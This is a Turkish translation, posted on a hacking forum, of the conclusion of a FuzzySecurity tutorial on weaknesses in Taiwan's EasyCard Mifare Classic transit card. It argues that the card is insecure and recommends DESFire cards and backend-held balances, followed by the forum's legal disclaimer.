https://www.fuzzysecurity.com/scripts/15.html

EasyCard'da analiz ettiğimiz çeşitli sektörlerden komut dosyası yapısı çoğunlukla anlaşılır olmalıdır. Ancak, herhangi bir sorunuz varsa, bana bir posta göndermekten veya aşağıya bir yorum bırakmaktan çekinmeyin.

Sonuç

EasyCard'ı gerçekten çok seviyorum, bence harika bir sistem (prensipte). Ulaşım ve düşük maliyetli ödemelerin uygun kombinasyonu gerçekten ilham vericidir.

Bununla birlikte, EasyCard temelde kırılmıştır (sıfırdan). Sorunun er ya da geç var olduğunu inkar etmenin mantıklı olduğunu düşünmüyorum, bu açıklanması / çözülmesi çok daha zor olacak daha büyük bir soruna yol açacaktır.

Gördüğüm kadarıyla sadece iki gerçek çözüm var:

(1) Mifare Classic kartlarının, genel fikir birliği ile "güvenli" olduğu kabul edilen Mifare DESfire gibi farklı tipte kartlarla değiştirilmesi gerekir.
(2) Güvenlik açısından, müşteri tarafında tutulan herhangi bir bilginin tehlikeye atılmış olarak kabul edilmesi gerektiğini biliyoruz. Bu durumda durum farklı değil. EasyCard üzerinde gerçek parasal değeri saklamak muazzam bir tasarım hatasıdır !!! EasyCard şirketinin bunu acilen düzeltmesi gerekiyor. Bir işlem yapıldığında, kart tanımlanmalı ve arka uç veri tabanında bir arama başlatılmalıdır. Veritabanı bilgileri daha sonra işlemi yüksek bir bütünlük düzeyinde güvenli bir şekilde işlemek için kullanılabilir.

Bilgi Güvenliği alanında çalışırken, şirketleri en iyi uygulamaları takip etmeye "teşvik etmenin" görevim olduğunu hissediyorum çünkü gücün karanlık tarafının neler yapabileceğini tam olarak biliyorum. Giriş bölümümde bahsettiğim gibi, gönderimin EasyCard'ın gelişmiş güvenliğine küçük bir şekilde katkıda bulunacağını umuyorum, ancak lütfen benden önce gelenler gibi sağır kulaklara düşebileceğinden korkuyorum.

Source: https://www.fuzzysecurity.com/tutorials/rfid/4.html
Translator: @expensivepoor
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.